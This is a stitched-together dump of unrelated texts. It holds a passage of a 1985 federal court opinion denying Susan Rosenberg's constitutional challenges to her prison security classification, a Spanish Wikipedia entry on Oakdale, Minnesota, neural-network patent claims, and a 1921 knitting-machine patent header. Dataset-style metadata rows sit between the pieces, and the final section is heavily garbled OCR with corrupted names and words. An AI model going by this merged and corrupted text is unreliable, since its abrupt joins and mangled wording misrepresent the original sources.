It should be noted, however, that the in-court testimony which explained the meaning of the phrase "Detainer: Greatest," see Hearing Transcript at 52, implicitly relied on a section of the Manual that appears to authorize the addition of points to a prisoner's security total only when there is a detainer relating to "pending charges" or to charges which have resulted in an "adjudicated sentence." See Manual, § 9 at 11-12. Thus, under the unusual circumstances of this case (specifically, that the detainer has survived the order of nolle prosequi by several weeks), the continued inclusion of a "Detainer: Greatest" listing on plaintiff's Security/Designation sheet may be in contravention of the BOP's internal procedures as set forth in the Bureau's Manual.
Nonetheless, such a conclusion does not strengthen plaintiff's due process claim. The BOP's discretion in making classification decisions is virtually unfettered, subject only to the requirement of rationality, see Smith v. Coughlin, supra, 748 F.2d at 787. While the Bureau's efforts to establish specific guidelines for classification decisions is laudable, these are essentially procedural regulations that "place no substantive limitations on official discretion and thus create no liberty interest entitled to protection under the Due Process Clause." Olim v. Wakinekona, 461 U.S. 238, 249, 103 S. Ct. 1741, 1747, 75 L. Ed. 2d 813 (1983); see Cofone v. Manson, 594 F.2d 934, 938 (2d Cir.1979) (entitlement akin to a Due Process clause liberty interest cannot derive from a statute that merely establishes procedural requirements for the transfer of state prisoners); Smallwood-El v. Coughlin, 589 F. Supp. 692, 699 (S.D.N.Y.1984) (state prison officials' violation of their own procedural rules does not, by itself, establish a constitutional claim).
An even more pertinent line of authority holds that the internal procedures manual of an executive agency does not create due process rights in the public. Lynch v. United States Parole Comm'n, 768 F.2d at 497; see, e.g., Schweiker v. Hansen, 450 U.S. 785, 789, 101 S. Ct. 1468, 1471, 67 L. Ed. 2d 685 (1981) (Social Security Administration claims manual is for internal use only and is without legal force). Thus, plaintiff's argument, that the BOP Manual itself gives federal prisoners due *1471 process rights that the Constitution does not otherwise provide, is wholly without merit. See Pugliese v. Nelson, 617 F.2d at 924 (BOP Policy Statement does not create due process interest).
Plaintiff's final attempt to characterize her treatment and classification by the BOP as in violation of her due process rights is based on the BOP's utilization of the charges against Rosenberg contained in the Brinks indictment.[30] According to plaintiff, the presumption of innocence mandates that the BOP be enjoined from including information concerning dismissed charges in its prisoner files, or at least be enjoined from using such information in determining Rosenberg's security classification. See Complaint at 12.
Plaintiff's position is simply without support. It is also logically inconsistent with the settled law in this Circuit that sentencing judges may consider unproven allegations of criminal conduct in making their determinations. See United States v. Roland, 748 F.2d 1321, 1327 (2d Cir.1984) (sentencing judge may consider crimes of which defendant has been acquitted); United States v. Sweig, 454 F.2d 181, 183-84 (2d Cir.1972) (same); United States v. Cifarelli, 401 F.2d 512, 514 (2d Cir.), cert. denied, 393 U.S. 987, 89 S. Ct. 465, 21 L. Ed. 2d 448 (1968) (sentencing court may regard crimes for which there has been no conviction as calling for increased punishment); United States v. Doyle, 348 F.2d 715, 721 (2d Cir.), cert. denied, 382 U.S. 843, 86 S. Ct. 89, 15 L. Ed. 2d 84 (1965) (judge was entitled to consider dismissed counts in sentencing criminal defendant). Indeed, this Circuit has also held that a parole board may properly consider a prisoner's presentence report, notwithstanding the fact that dismissed charges are included in the report. Billiteri v. United States Board of Parole, 541 F.2d 938, 944 (2d Cir.1976). Significantly, the Court in Billiteri specifically sanctioned the parole board's use of the presentence report in deciding to place the prisoner's offense in a "high severity" category, see id.; accord Steerman v. United States Parole Comm'n, 593 F. Supp. 761, 764 (N.D.Ca. 1984), conduct directly analogous to the BOP's presumed use of the report in classifying Rosenberg.
Based on this line of authority, I find that it is entirely lawful for the Bureau of Prisons to consider dismissed criminal charges in classifying a federal prisoner. The Bureau's legitimate penological objectives, the most obvious of which is to maintain security within prison walls, necessitate the acquisition of "a thorough acquaintance with the character and history" of its prisoners. See United States v. Doyle, 348 F.2d at 721. Obviously inaccurate information should be discounted in the ordinary exercise of sound discretion, see id., just as it would seem desirable for prison officials to invite and to consider affidavits by prisoners denying the truth of any unproven allegations. But the information-gathering process does not itself violate constitutional rights.
(b) Equal Protection
Much of what has been said with regard to due process applies with similar force to Rosenberg's equal protection challenge to her classification by the BOP. I have already noted the Second Circuit's recent response to an equal protection challenge to a classification decision, wherein the Court stated that "prison administrators, when making classifications `need only demonstrate a rational basis for their distinctions.'" Smith v. Coughlin, 748 F.2d 783, 787-88 (2d Cir.1984) (citing Jones v. North Carolina Prisoners Union, Inc., 433 U.S. 119, 134, 97 S. Ct. 2532, 2542, 53 L. Ed. 2d 629). The record in this case clearly shows that the BOP possessed a rational, independent basis for its classification of plaintiff. Accordingly, I must conclude that Susan Rosenberg notwithstanding her dramatic claim, sworn to by plaintiff and asserted by counsel in open court, to the effect that she is a "political prisoner" who has been singled out for disparate *1472 treatment (see, e.g., Rosenberg Affidavit ¶ 5)has simply failed to state a bona fide claim for denial of equal protection. See Persico v. Gunnell, 560 F. Supp. 1128, 1137 (S.D.N.Y.1983).[31]
2. First Amendment Claims
Plaintiff seeks to enjoin defendants from engaging in conduct in retaliation for plaintiff's exercise of her First Amendment rights of free speech and association. In dealing with this claim, this Court must initially take pains to distinguish between those activities which are protected by the First Amendment, and those which are not.
In United States v. O'Brien, 391 U.S. 367, 88 S. Ct. 1673, 20 L. Ed. 2d 672 (1968), the Supreme Court put to rest the way-ward notion that First Amendment guarantees apply in an unlimited fashion to all modes of conduct that communicate ideas, see id at 376, 88 S. Ct. at 1678. In O'Brien, the Court found that a defendant could be constitutionally convicted of violating a federal statute which prohibited the burning of Selective Service registration certificates (draft cards). See id at 377, 88 S. Ct. at 1679. In so ruling, the Court held that "when `speech' and `nonspeech' elements are combined in the same course of conduct, a sufficiently important governmental interest in regulating the nonspeech element can justify incidental limitations on First Amendment freedoms." Id. at 376, 88 S. Ct. at 1678.
Thus, to the extent that plaintiff's arguments in the case at bar rely on the proposition that she was convicted on the weapons charges in New Jersey in retaliation for her political viewpoints,[32] plaintiff's position is fundamentally unsound. The criminal convicted for his or her conduct should not be heard to complain that the enforcement of criminal laws which serve the public by condemning dangerous behavior are in some way violative of the lawbreaker's First Amendment rights. See, e.g., United States v. Cooper, 606 F.2d 96, 98 (5th Cir.1979) cert. denied, 444 U.S. 1024, 100 S. Ct. 685, 62 L. Ed. 2d 657 (1980) (a controlled substances conspiracy statute does not place impermissible restrictions on First Amendment freedoms of association and expression).
Furthermore, the record in this case does not show that the BOP ever designated or classified Rosenberg in response to or retaliation for her political beliefs. Rather, the evidence suggests that defendants responded to plaintiff's expressions of her beliefs not because of their political content, but because those expressions placed BOP officials on notice that *1473 the plaintiff might, once incarcerated, threaten prison security by fomenting unrest and possibly even violence within prison walls.
It is a fair inference from the record that Susan Rosenberg's classification, particularly her classification as a "maximum" custody offender (which in turn appears to have led to the BOP's decision to place her in the maximum-security facility at FCI-Lexington), was based in no small part on the BOP's response to Rosenberg's blatantly incendiary outbursts in the New Jersey District Court. See Finding of Fact ¶ 4. The question then becomes: to what extent can such an institutional response be tolerated?
The proper analysis for such an inquiry is found in the Second Circuit's recent opinion in Wali v. Coughlin, 754 F.2d 1015 (1985). In Wali, the Court (per Kaufman, C.J.), affirmed a district court's order enjoining the Commissioner of the New York State Department of Correctional Services and other corrections officials from prohibiting inmates in New York State Prisons from receiving, upon request, copies of a report that was sharply critical of conditions at the Attica Correctional Facility. See id. at 1036. The Court, while emphasizing that the rights of prisoners to speak and to receive information were deserving of special solicitude, id. at 1034, also noted that prisoners' First Amendment rights "may, of course, be restricted when necessary." Id. (citations omitted).
Based upon its reading of a series of decisions by the United States Supreme Court, the Wali Court articulated a "tripartite standard" for determining whether a particular response of prison officials to a prisoner's exercise of First Amendment rights will pass constitutional muster:
Where the right asserted is found not to exist within the prison context, i.e., where it is held to be inherently inconsistent with established penological objectives, see, e.g., Jones v. North Carolina Prisoners' Labor Union, Inc. supra, 433 U.S. 119, 97 S. Ct. 2532, 53 L. Ed. 2d 629, then a fortiori there can be no invasion of the purported right, and judicial deference should be nearly absolute. ...
Where the activity sought to be engaged in by prisoners is presumptively dangerous, deference to the judgment of corrections officials should be extremely broad, though not categorical. See e.g., Block v. Rutherford, ___ U.S. ___, 104 S. Ct. 3227, 82 L.Ed.2d. 438 (1984). This, notwithstanding the fact that the restriction being examined does indeed abridge a recognized constitutional right. In such cases, our intuition and common sense would support the imposition of a burden upon prisoners to demonstrate that the restriction is not supported by a reasonable justification.
* * * * * *
Where, however, the activity in which prisoners seek to engage is not presumptively dangerous, and where official action (or inaction) works to deprive rather than merely limit the means of exercising a protected right, professional judgment must occasionally yield to constitutional mandate. In these limited circumstances, it is incumbent upon prison officials to show that a particular restriction is necessary to further an important governmental interest, and that the limitations on freedoms occasioned by the restriction are no greater than necessary to effectuate the governmental objective involved. See Procunier v. Martinez, supra, 416 U.S. [396] at 413, 94 S.Ct. [1800] at 1811 [40 L. Ed. 2d 224 (1974)].
Id. at 1033.
In the instant case, plaintiff has basically argued that defendants' decision to treat her as a high-security risk by classifying her as a security-level # 4 prisoner with a "Maximum" custody rating was a restrictive measure that infringed upon plaintiff's First Amendment rights of freedom of association and political expression (and punished plaintiff for her exercise of those rights in the first place). Once again, especially in light of Wali, it becomes critical to consider the nature of the First Amendment rights being asserted by plaintiff.
The first of these is the right of association. Indeed, the freedom to associate as *1474 she chooses is clearly prized by plaintiff, see, e.g., Sentence Proceedings at 23 ("Tim [Blunk] and myself ... begin a long struggle alongside other captured comrades as political prisoners. We will continue to struggle and to fight and to resist."). Yet in seizing upon her associational rights, plaintiff ignores the fact that such rights have never been extended to associations inspired by an illegal purpose. See United States v. Cooper, 606 F.2d at 98. Thus, she can refer with pride to her participation in "an armed clandestine organization," Sentence Proceedings at 21, and then cry foul, of constitutional magnitude, when the Bureau of Prisons demonstrates its institutional concern.
The Supreme Court has observed that a prisoner "retains those First Amendment rights that are not inconsistent with his status as a prisoner or with the legitimate penological objectives of the corrections system." Pell v. Procunier, 417 U.S. 817, 822, 94 S. Ct. 2800, 2804, 41 L. Ed. 2d 495 (1974). But the Court has also said:
Perhaps the most obvious of the First Amendment rights that are necessarily curtailed by confinement are those associational rights that the First Amendment protects outside of prison walls. The concept of incarceration itself entails a restriction on the freedom of inmates to associate with those outside of the penal institution. Equally as obvious, the inmate's status as a prisoner and the operational realities of a prison dictate restrictions on the associational rights among inmates.
Jones v. North Carolina Prisoners' Labor Union, Inc., 433 U.S. at 125-26, 97 S. Ct. at 2538. In Jones, the Supreme Court held that regulations of the North Carolina Department of Corrections which prohibited various organizing activities of a prisoners' labor union were justified by institutional reasons "sufficiently weighty to prevail" over the First Amendment rights of association and free speech asserted by the union. See id. at 133, 97 S. Ct. at 2541. The Second Circuit has recently stated that where, as in Jones, the rights asserted are "inherently inconsistent with legitimate penological objectives," then "there can be no invasion of the purported right, and judicial deference should be nearly absolute." Wali v. Coughlin, 754 F.2d at 1033.
It would be the height of folly to regard the dangers posed to prison security by "an armed clandestine organization" as any less substantial than those posed by a prisoners' labor union. In Jones, the Court observed that a prisoners' union, with its emphasis on the encouragement of adversary relations with institution officials "would rank high on anyone's list of potential trouble spots." 433 U.S. at 133, 97 S. Ct. at 2541. A fortiori, an armed clandestine organization ranks even higher. This Circuit has recently reiterated the proposition that prison security is a correctional institution's foremost goal, see Wali v. Coughlin, 754 F.2d at 1032. It necessarily follows that, under the facts of this case, the BOP's decision to classify a selfproclaimed member of an armed clandestine organization as a high-security risk cannot possibly be construed as being in violation of that individual's First Amendment rights.
Moreover, this Court is not seriously troubled by plaintiff's assertion that the BOP's classification decision is an impermissibly punitive response to her expression of political beliefs. See Memorandum of Law in Opposition to Defendants' Motion to Dismiss at 8 n. * (objecting to Judge Lacey's reaction to Rosenberg's remarks at sentencing, since "such statements were classic statements of political beliefs."). Relying on decisions within this Circuit in which courts have reacted to apparent overreaching by prison officials in their response to ordinary expressions of political thought,[33] plaintiff would have this *1475 Court extend to her (and thereby, in effect, sanctify) a First Amendment right to preach armed revolution within prison walls without fear of institutional reprisal.
Plaintiff's position is marginally correct, at least in the sense that freedom of speech cannot fairly be characterized as a right "inherently inconsistent with established penological objectives." Wali v. Coughlin, 754 F.2d at 1033. In a case, however, where the speech advocates violent response to perceived societal (or institutional) injustice[34] it becomes reasonable for the Bureau of Prisons to regard such expression as "presumptively dangerous," in which instance "deference to the judgment of correction officials should be extremely broad," Wali v. Coughlin, 754 F.2d at 1033, and the burden is upon the prisoner to demonstrate that the institutional response is unsupported by "reasonable justification," id.
Even if the few factual ambiguities in this case were construed in plaintiff's favor, there still remains in the record uncontroverted facts sufficient to demonstrate reasonable justification for the BOP's decision to classify Rosenberg as a high security risk. Plaintiff was convicted of serious weapons charges involving the possession of dangerous firearms and high-powered explosives. At her sentencing, she expressed regret at her failure to use violence when she was captured.[35] On that same day, in open court, she announced her intention to take the armed struggle inside prison walls.
Defendants have done no worse injustice to Susan Rosenberg than to take her at her word and to treat her as a dangerous prisoner. The suggestions by plaintiff's counsel that Rosenberg's good behavior in prison negates any justification for the BOP's classification, see Hearing Transcript at 89-90, are unconvincing. Even if Rosenberg's conduct during the first year of her 58-year sentence had been exemplary, the BOP should not then be required to lower its otherwise reasonable guard. Cf. United States v. Albertini ___ U.S. ___, 105 S. Ct. 2897, 2907, 86 L. Ed. 2d 536 (1985) (where the government's important interest in assuring the security of military installations is served by allowing a military commander to issue an order barring an individual from a military base, nothing in the First Amendment conditions that order on the post-arrival conduct of the excluded individual).
Accordingly, it is my determination that the BOP's treatment and classification of Susan Rosenberg has not been in violation *1476 of any of her constitutional rights.[36] Plaintiff has shown no irreparable injury, and no likelihood of success on the merits. I find that no questions going to the merits have been raised that present a fair ground for litigation, and the balance of hardships tip in defendants', rather than in plaintiff's, favor. Plaintiff's motion for a preliminary injunction is therefore denied. Furthermore, the temporary restraining order which has prevented the BOP from transferring Rosenberg from MCC-NY, and which I now regard as having been improvidently granted, is hereby dissolved.
V. PLAINTIFF'S DEMAND FOR PERMANENT INJUNCTIVE RELIEF
At the September 26 hearing of this case, as I have already noted, see Part I of this opinion, supra, I ordered the trial of the action on the merits consolidated with the hearing on plaintiff's application for a preliminary injunction, pursuant to Fed.R.Civ.P. 65(a)(2), and the parties agreed to such consolidation.[37] In deciding whether or not to grant plaintiff permanent injunctive relief, the court initially inquires as to whether plaintiff has prevailed on the merits. See Smithkline Beckman Corp. v. Proctor & Gamble Co., 591 F. Supp. 1229, 1235 (N.D.N.Y.1984), aff'd mem. 755 F.2d 914 (2d Cir.1985). In the context of a suit in which plaintiff seeks permanent injunctive relief from a constitutional violation, the court should first consider whether plaintiff has established the fact of a violation. See Rizzo v. Goode, 423 U.S. 362, 377, 96 S. Ct. 598, 607, 46 L. Ed. 2d 561 (1976); Newman v. State of Alabama, 683 F.2d 1312, 1319 (11th Cir.1982), cert. denied, 460 U.S. 1083, 103 S. Ct. 1773, 76 L. Ed. 2d 346 (1983). If plaintiff succeeds in proving a constitutional violation, he must still demonstrate the presence of a continuing irreparable injury and the lack of an adequate remedy at law. Id. (citing Beacon Theatres, Inc. v. Westover, 359 U.S. 500, 506, 79 S. Ct. 948, 954, 3 L. Ed. 2d 988 (1959)). Only when that dual burden has been satisfied should the court grant injunctive relief, but even then the relief granted should be no broader than necessary to cure defendants' unconstitutional conduct. See Kendrick v. Bland, 740 F.2d 432, 437 (6th Cir.1984).
Applying the foregoing analysis, I conclude that there is no basis for granting plaintiff's motion for permanent injunctive relief, primarily because I am convinced that no facts have been proven, and no facts could be proven, that would establish the violation of plaintiff's constitutional rights by defendants.
As regards prospective proof,[38] I would note that plaintiff has requested further testimony from only three individuals: Susan Rosenberg; Norman Carlson (Director of the Bureau of Prisons); and Scott Miller (the BOP official who decided what remarks and information should be included in plaintiff's Security/Designation form, see Hearing Transcript at 62-63). Rosenberg's 13-page affidavit has already been submitted to this Court, and Carlson and Miller's involvement in the plaintiff's classification *1477 have already been testified to in some detail by Randy Brachman, the Case Management Coordinator for MCC-NY, during his full day of testimony before this Court. Testimony from any of these individuals regarding the designation of Susan Rosenberg would of course not be material to these proceedings, since all claims regarding plaintiff's designation have been dismissed as moot. As to possible testimony regarding Rosenberg's classification, there has been no suggestion made that, were she called to testify, Susan Rosenberg would go beyond the assertions made in her affidavit, to the effect that she has been improperly classified on the basis of unproven allegations of criminal conduct and in retaliation for her political beliefs and associations, see Rosenberg Affidavit ¶¶ 4, 5. These assertions have already been considered by this Court in reaching its conclusion that the BOP's classification of Rosenberg did not violate any of plaintiff's constitutional rights. Indeed, there is no likelihood that testimony by Carlson or Miller would present facts to this Court that would be material, in the sense that they could alter the Court's conclusion that no constitutional violation has occurred. This Court has already determined that the BOP possessed a rational basis for its classification of Rosenberg, see Part IV of this opinion, supra. Even if Carlson or Miller were to testify that Rosenberg's classification was in partial response to her political beliefs or associations (an unlikely admission in view of the record already established in these proceedings), this Court would still be left with a situation in which plaintiff's classification is based on both proper and improper reasons, but in which the "administrative, non-punitive" reason provides an independent basis for her classification. Under such circumstances, no violation of constitutional rights can be said to have occurred. See Sher v. Coughlin, 739 F.2d at 81-82.
Thus, this is a case where plaintiff has not satisfied, and cannot possibly satisfy, her threshold burden of proving of a constitutional violation, see Newman v. State of Alabama, 683 F.2d at 1319. Accordingly, her motion for permanent injunctive relief must be denied.
VI. PLAINTIFF'S DEMAND FOR A DECLARATORY JUDGMENT
Plaintiff in this case has also made a broad demand for declaratory relief.[39] At this point, however, I am convinced (for the reasons set forth in Part IV.B of this opinion, supra) that there is absolutely no basis for plaintiff's claim that defendants have violated her constitutional rights. Indeed, it is this Court's view that plaintiff's action for declaratory judgment could not withstand a motion for summary judgment, or a motion to dismiss under Fed.R.Civ.P. 12(b)(6). Nonetheless, since defendants have not moved for dismissal on either of those grounds, I have reluctantly concluded that it is not presently within this Court's power to dismiss plaintiff's claim for declaratory relief.[40]
*1478 Similarly, it would be improper for this Court to address plaintiff's claim for compensatory or punitive damages at this juncture, since plaintiff arguably seeks such relief as ancillary to her action for declaratory judgment.[41] I would note, however, that even if Rosenberg were to establish a compensable injury, the facts of this case suggest that defendants may still be entitled to qualified immunity. See Gilliam v. Quinlan, 608 F. Supp. 823, 836 (S.D.N.Y. 1985) (prisoner's § 1983 action against prison officials and employees dismissed on defendants' motion for summary judgment on grounds of qualified immunity). The Second Circuit has recently declared that such immunity is "available to prison officials as a defense to liability for damages for actions taken in their official capacities." Security and Law Enforcement Employees, District Council 82 v. Carey, 737 F.2d 187, 210 (2d Cir.1984). Defendants, who have yet to answer in this case, will of course be obligated to plead qualified immunity as an affirmative defense, see Harlow v. Fitzgerald, 457 U.S. 800, 815, 102 S. Ct. 2727, 2736, 73 L. Ed. 2d 396 (1982).
CONCLUSION
Plaintiff's complaint is partly dismissed as moot, to the extent described in Part III of this opinion, supra. Plaintiff's motion for a preliminary injunction is denied. Plaintiff's motion for a permanent injunction is also denied. With regard to plaintiff's surviving action for declaratory judgment, defendants are invited to consider the possibility of a motion to dismiss under Fed.R.Civ.P. 12(b)(6), or, in the alternative, a motion for summary judgment pursuant to Fed.R.Civ.P. 56.
SO ORDERED.
NOTES
[1] Plaintiff asserts jurisdiction based on 18 U.S.C. §§ 4042, 4082; 28 U.S.C. §§ 1331, 1361, 2202, 2243; and the First, Fifth, Sixth, and Eighth Amendments. There is no need to evaluate that assertion at this time, except to note that jurisdiction cannot properly be predicated on 28 U.S.C. § 1361, since plaintiff has not specifically sought mandamus relief. See Persico v. Gunnell, 560 F. Supp. 1128, 1130 n. 1 (S.D.N.Y.1983).
[2] According to the indictment, the objects of the criminal enterprise known as "The Family" included: "the use of violence, murder and threats of violence and murder to commit and to facilitate the commission of robberies and escapes from prison.... [and] [t]he use of proceeds of successful robberies ... to finance a network of ... residences known as `safe houses,' in which members and associates of [The Family], some of whom were fugitives from justice, would and did reside in [and] used to plan and prepare for the commission of crimes." Brinks Indictment at 2-3.
[3] Specifically, Rosenberg was charged with participation in the kidnapping of a prison guard and a prison matron in New Jersey in 1979 in order to effect the escape of Black Liberation Army Leader Joanne Chesimard (a/k/a "Assata Shakur"); attempting an armed robbery in Nanuet, New York in 1980; attempting an armed robbery in the winter of 1980-81 at a shopping center in Danbury, Connecticut; attempting another armed robbery at a Connecticut shopping center in March, 1981; actually committing an armed robbery in June, 1981 in the Bronx, New York during which a guard, William Moroni, was murdered; and committing the armed robbery in October, 1981 of approximately 1.6 million dollars from an armored truck in Nanuet, New York, during which a Brink's guard and two police officers were murdered. In addition, Rosenberg was charged with helping Marilyn Buck (who had been involved in the October Nanuet robbery and who was at the time a fugitive) to flee from a "safe house" in Mount Vernon, New York. See Brinks Indictment at 7-11.
[4] Six defendants were tried: Sekou Odinga, Cecil Ferguson, Edmund Lawrence Joseph, William Johnson, Silvia Baraldini and Iliani Robinson. Odinga, Baraldini, Ferguson and Joseph were found guilty on September 3, 1983, and were sentenced on February 15, 1984.
[5] The government has described the assortment of weapons found as "a veritable arsenal." Presentence Memorandum at 8. The "arsenal" included: a loaded Walther PPK .38 caliber semiautomatic pistol; a loaded Browning 9mm semi-automatic pistol; an Uzi short-barrelled rifle (convertible into a machine gun); a sawedoff Ithaca shotgun; a Sturm Ruger .223 caliber rifle; a Colt Officer's Match .38 caliber revolver; a Dan Wesson .357 caliber revolver; a Colt Model Mark IV series 70 .45 caliber semi-automatic pistol; a Mossberg Model 800A .808 caliber bolt action rifle; and several firearms, such as a Sturm Ruger .357 caliber rvolver, on which the serial number had been removed or obliterated. Substantial quantities of ammunition were also found. See id. at 6, 8.
In addition, Rosenberg and Blunk, when caught, were carrying over 600 pounds of explosives, including: 199 sticks of Hercules Unigel Tamptite dynamite; 110 sticks of Dupont Tovex (a high explosive); 24 cartridges of Hercules Slurry, a blasting agent; and a 50-pound bag containing Hercomix, a blasting agent. Id. at 9-10.
[6] Both MCC-NY and MCC-Chicago are essentially short-term holding facilities. The Bureau of Prisons characterizes the population of both institutions as consisting of "[m]ale and female pre-trial and short-term offenders (less than one year)." United States Department of Justice, Federal Bureau of Prisons, Security Designation and Classification Manual, § 6 at 1, 3.
[7] At the September 26 hearing, the government asserted that it was the regular policy of the Bureau of Prisons, for security purposes, not to inform prisoners of their designation or destination before they were moved. This assertion was subsequently qualified, however, by the testimony of a Bureau of Prisons official, Mr. Randy Brachman, before this Court on November 5, 1985. Although it is certainly possible that, in a given situation, the Bureau may choose not to inform a prisoner of his or her designation, it appears that the Bureau has no blanket policy forbidding such information to be released.
[8] The government did not go so far as to state that Rosenberg would be designated to MCC-Tucson indefinitely or for the duration of her sentence. In fact, the government stated that "it would be astounding if anyone were to serve a sentence of [58 years] at a single institution." Transcript of October 10, 1985 Hearing at 19.
[9] See Boudin v. Thomas, 533 F. Supp. 786 (S.D. N.Y.), appeal dismissed, 697 F.2d 288 (2d Cir. 1982) (continued administrative detention of pre-trial detainee in MCC-NY, with no allowance for contact visits, found to be an unreasonable and unconstitutional practice); cf. Hewitt v. Helms, 459 U.S. 460, 477 n. 9, 103 S. Ct. 864, 874 n. 9, 74 L. Ed. 2d 675 (1983) ("administrative segregation may not be used as a pretext for indefinite confinement of an inmate").
[10] By way of illustration, plaintiff's original Order to Show Cause for a Preliminary Injunction and a Temporary Restraining Order, dated September 26, 1985, contained 6 affidavits and 15 supporting exhibits.
| 38,192 |
https://es.wikipedia.org/wiki/Oakdale%20%28Minnesota%29 | Wikipedia | Open Web | CC-By-SA | 2,023 | Oakdale (Minnesota) | https://es.wikipedia.org/w/index.php?title=Oakdale (Minnesota)&action=history | Spanish | Spoken | 159 | 295 | Oakdale es una ciudad ubicada en el condado de Washington en el estado estadounidense de Minnesota. En el Censo de 2010 tenía una población de 27378 habitantes y una densidad poblacional de 936,46 personas por km².
Geografía
Según la Oficina del Censo de los Estados Unidos, Oakdale tiene una superficie total de 29.24 km², de la cual 28.35 km² corresponden a tierra firme y (3.04%) 0.89 km² es agua.
Demografía
Según el censo de 2010, había 27378 personas residiendo en Oakdale. La densidad de población era de 936,46 hab./km². De los 27378 habitantes, Oakdale estaba compuesto por el 81.43% blancos, el 6.02% eran afroamericanos, el 0.41% eran amerindios, el 8.15% eran asiáticos, el 0.03% eran isleños del Pacífico, el 1.18% eran de otras razas y el 2.78% pertenecían a dos o más razas. Del total de la población el 4.28% eran hispanos o latinos de cualquier raza.
Referencias
Enlaces externos
Ciudades de Minnesota
Localidades del condado de Washington (Minnesota) | 36,915 |
US-201816623072-A_2 | USPTO | Open Government | Public Domain | 2,018 | None | None | English | Spoken | 961 | 1,125 | 5. The method of claim 4, wherein said second inter-symbol interference function comprises a convolution with a channel impulse response.
6. The method of claim 1, wherein said applying comprises applying a first inter-symbol interference function to said sequence of transmission symbols to generate first inter-message interference symbols and applying a second inter-symbol interference function to said first inter-message interference symbols to generate second inter-message interference symbols as said sequence of received symbols.
7. The method of claim 1, wherein said analysing comprises setting an observation window within said sequence of received symbols and classifying that portion of said sequence of received symbols falling within said observation window.
8. The method of claim 7, wherein said training further comprises adjusting at least one of a location and a size of said observation window to maximise a classification accuracy of said decoded message.
9. The method of claim 1, wherein said method is performed by a transmitter of a source device, a receiver of a destination device, or a configuration device for said data transmission network.
10. The method of claim 1, wherein said training further comprises estimating a characteristic of said sequence of received symbols using an characteristic estimating neural network, applying a compensation function to said sequence of received symbols based on said characteristic to generate compensated received symbols and analysing said compensated received symbols using said receiver neural network to generate said decoded message.
11. A method for configuring a data transmission network, executed by a configuration device, wherein said data transmission network comprises a transmitter, a receiver, and a communication channel between said transmitter and said receiver, said method comprising: training a machine learning model of said data transmission network, wherein said machine learning model comprises at least a transmitter model including a transmitter neural network, a channel model, and a receiver model including a receiver neural network, wherein said training comprises: providing a message within a sequence of messages; generating a group of transmission symbols for each message in said sequence of messages using said transmitter neural network; concatenating said groups of transmission symbols together as a sequence of transmission symbols; simulating transmission of said sequence of transmission symbols over said communication channel using said channel model to said receiver; analysing a sequence of received symbols using said receiver neural network to generate a decoded message, wherein said analysing comprises setting an observation window within said sequence of received symbols and classifying that portion of said sequence of received symbols falling within said observation window; and updating said machine learning model based on an output of said receiver neural network, wherein said training further comprises adjusting at least one of a location and a size of said observation window to maximise a classification accuracy of said decoded message.
12. An apparatus, comprising: at least one processor; and at least one memory storing instructions that, when executed by said at least one processor, cause said apparatus to perform a set of operations including training a machine learning model of a data transmission network comprising a transmitter, a receiver, and a communication channel between said transmitter and said receiver, wherein said machine learning model comprises at least a transmitter model including a transmitter neural network, a channel model, and a receiver model including a receiver neural network, wherein said training comprises: providing a message within a sequence of messages; generating a group of transmission symbols for each message in said sequence of messages using said transmitter neural network; concatenating said groups of transmission symbols together as a sequence of transmission symbols; simulating transmission of said sequence of transmission symbols over said communication channel using said channel model to said receiver; analysing a sequence of received symbols using said receiver neural network to generate a decoded message; and updating said machine learning model based on an output of said receiver neural network, wherein the training further comprises applying an inter-symbol interference function of said channel model to said sequence of transmission symbols to generate inter-message interference symbols as said sequence of received symbols.
13. The apparatus of claim 12, wherein said applying comprises applying a first inter-symbol interference function to said sequence of transmission symbols to generate first inter-message interference symbols as said sequence of received symbols.
14. The apparatus of claim 13, wherein said first inter-symbol interference function comprises a pulse-shaping function.
15. The apparatus of claim 13, wherein said applying comprises applying a second inter-symbol interference function to said sequence of transmission symbols to generate second inter-message interference symbols as said sequence of received symbols.
16. The apparatus of claim 15, wherein said second inter-symbol interference function comprises a convolution with a channel impulse response.
17. The apparatus of claim 12, wherein said applying comprises applying a first inter-symbol interference function to said sequence of transmission symbols to generate first inter-message interference symbols and applying a second inter-symbol interference function to said first inter-message interference symbols to generate second inter-message interference symbols as said sequence of received symbols.
18. The apparatus of claim 12, wherein said analysing comprises setting an observation window within said sequence of received symbols and classifying that portion of said sequence of received symbols falling within said observation window.
19. The apparatus of claim 18, wherein said training further comprises adjusting at least one of a location and a size of said observation window to maximise a classification accuracy of said decoded message.
20. The apparatus of claim 12, wherein said training further comprises estimating a characteristic of said sequence of received symbols using an characteristic estimating neural network, applying a compensation function to said sequence of received symbols based on said characteristic to generate compensated received symbols and analysing said compensated received symbols using said receiver neural network to generate said decoded message..
| 33,455 |
US-31487819-A_1 | USPTO | Open Government | Public Domain | 1,919 | None | None | English | Spoken | 3,896 | 5,393 | Safety stopping device for circular-knitting machines
- H. E. HOUSENIAN.
Y SAFETY SIOPIING DEVICE FOR CIRCULAR KNITTING MACHINES- APPLICATION FILED AUG.2. I9I9.
1,364,112.. Patenmd Jan. 4, 1.921.;
' 4 SHEETS--SHEET 2.
Fmi
f5 2919 hm-12s f 21min/EK H. E. HOUSE-MAN.'
' SAFETY sToPPlNG DEVICE FOR cmCuLAR KNITTIKNG MACHINES.
APPLICATIUIN FILED AUGNZ, IBIS.
Patented Jan. 4, 1921.
iwf-A1555.-
W P m Ma@ H www m w 4/ w w 0 TS,
V H. E. HGUSEMAN. SAFETY STOPFING DEViCE FOR CRCULAR KNITTING MACHINES APPLICATN FILE() AUC-1.2, 1919.
1,364,112. v Ptnted Jan. 4, 1921. n
4 SHEETS-SHEET 4.
Mmm/5K UNITEDSTATES PATENT OFFICE.
Ennemi E. HousnivrAN, or rH11.f innnrzsiay` PENNSYLVANIA, AssiieNoR To' STANDARD MACHINE COMPANY, or PHILADELPHIA, PENNSYLVANIA, A
CORPORATION F PENNSYLVANIA.
LSSdJlZ,
Specification of Letterslatent.
SAFETY srorPiNe DEVICE son oineuLAR-KNITTING MACHINES- Patented J an,` 4, 192.1;
sppiieauon snai August 2, 191e. serial no. 314,873.
To all whom fit/flirty concer/n Be it known that L HAROLD E. HOUSE- iuaN, a citizen of the United States, residing athiladelpha, county of Philadelphia,
and State oi' Pennsylvania, have invented a new and useiul 1in irovemeiit in Safety Stopping Devices for ircular-Knitting Machines, of which the following is a full, clear, und exact description, reference being had to JtheI acconipanyin drawings, which forni a part of this specification.
